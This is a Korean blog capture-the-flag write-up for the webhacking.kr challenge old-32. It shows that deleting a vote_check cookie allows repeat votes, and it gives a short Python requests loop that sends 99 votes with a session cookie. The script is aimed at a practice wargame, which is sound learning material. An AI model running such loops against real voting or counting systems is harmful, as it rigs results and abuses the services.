write-up(web)/webhacking.kr

[Webhacking.kr] old-32

chanchand 2022. 12. 31. 16:12
반응형

문제




맨 아래로 내리면 자신의 계정도 볼 수 있으며, Hit 숫자가 100이 되면 문제가 풀릴 것 같다.

 

 

 

문제풀이


클릭하면 hit 파라미터에 NAME이 넘겨지며, Hit 숫자가 올라간다.

쿠키는 다음과 같이 설정된다.

 

 

쿠키를 삭제하고 다시 클릭하면 Hit 숫자가 올라가며, 다시 vote_check 쿠키가 생성된다.

쿠키를 삭제하고 클릭하고 삭제하고 클릭해서 100까지 만들면 문제가 해결되는데, 번거롭기 때문에 코드를 작성해서 풀면 된다.

 


  
import requests
url='https://webhacking.kr/challenge/code-5/?hit=닉네임'
cookie={'PHPSESSID':'쿠키값'}
for i in range(99):
res=requests.get(url, cookies=cookie)

 

파이썬 코드를 이용해 99번 클릭시키고, 마지막에 클릭하면 문제가 해결된다.

 

반응형

'write-up(web) > webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] old-38  (0) 2022.12.31
[Webhacking.kr] old-37  (0) 2022.12.31
[Webhacking.kr] old-36  (0) 2022.12.31
[Webhacking.kr] old-35  (0) 2022.12.31
[Webhacking.kr] old-31  (0) 2022.12.31